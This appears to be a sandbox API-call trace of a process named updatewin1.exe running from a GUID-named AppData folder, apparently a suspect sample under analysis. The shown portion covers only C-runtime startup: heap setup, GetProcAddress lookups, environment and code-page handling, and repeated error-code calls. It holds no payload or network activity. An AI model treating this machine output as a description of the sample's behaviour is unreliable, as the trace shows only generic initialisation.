[0050.060] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0050.060] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x330000 [0050.062] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.062] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0050.062] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0050.062] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0050.062] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0050.062] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.062] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.062] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.062] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.062] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.062] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.063] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.063] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.063] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.063] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.063] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.063] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.063] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.063] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.064] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.064] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.064] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x214) returned 0x3307d0 [0050.064] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.064] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.064] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.064] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.064] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.064] GetCurrentThreadId () returned 0xb08 [0050.064] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0050.064] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x800) returned 0x3309f0 [0050.064] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0050.065] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0050.065] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0050.065] SetHandleCount (uNumber=0x20) returned 0x20 [0050.065] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" " [0050.065] GetEnvironmentStringsW () returned 0x4e4e70* [0050.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0050.065] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x565) returned 0x3311f8 [0050.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x3311f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0050.068] FreeEnvironmentStringsW (penv=0x4e4e70) returned 1 [0050.068] GetLastError () returned 0x0 [0050.068] SetLastError (dwErrCode=0x0) [0050.068] GetLastError () returned 0x0 [0050.068] SetLastError (dwErrCode=0x0) [0050.068] GetLastError () returned 0x0 [0050.068] SetLastError (dwErrCode=0x0) [0050.068] GetACP () returned 0x4e4 [0050.068] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x220) returned 0x331768 [0050.068] GetLastError () returned 0x0 [0050.068] SetLastError (dwErrCode=0x0) [0050.068] IsValidCodePage (CodePage=0x4e4) returned 1 [0050.068] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0050.068] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0050.068] GetLastError () returned 0x0 [0050.068] SetLastError (dwErrCode=0x0) [0050.068] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0050.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.068] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0050.068] GetLastError () returned 0x0 [0050.068] SetLastError (dwErrCode=0x0) [0050.069] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0050.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糝廬㞕AĀ") returned 256 [0050.069] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糝廬㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0050.069] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糝廬㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa0\x6b\xaa\x5d\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0050.069] GetLastError () returned 0x0 [0050.069] SetLastError (dwErrCode=0x0) [0050.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糝廬㞕AĀ") returned 256 [0050.069] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糝廬㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0050.069] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糝廬㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0050.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa0\x6b\xaa\x5d\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0050.069] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe")) returned 0x5f [0050.069] GetLastError () returned 0x0 [0050.069] SetLastError (dwErrCode=0x0) [0050.069] GetLastError () returned 0x0 [0050.069] SetLastError (dwErrCode=0x0) [0050.069] GetLastError () returned 0x0 [0050.069] SetLastError (dwErrCode=0x0) [0050.069] GetLastError () returned 0x0 [0050.069] SetLastError (dwErrCode=0x0) [0050.069] GetLastError () returned 0x0 [0050.069] SetLastError (dwErrCode=0x0) [0050.069] GetLastError () returned 0x0 [0050.069] SetLastError (dwErrCode=0x0) [0050.069] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 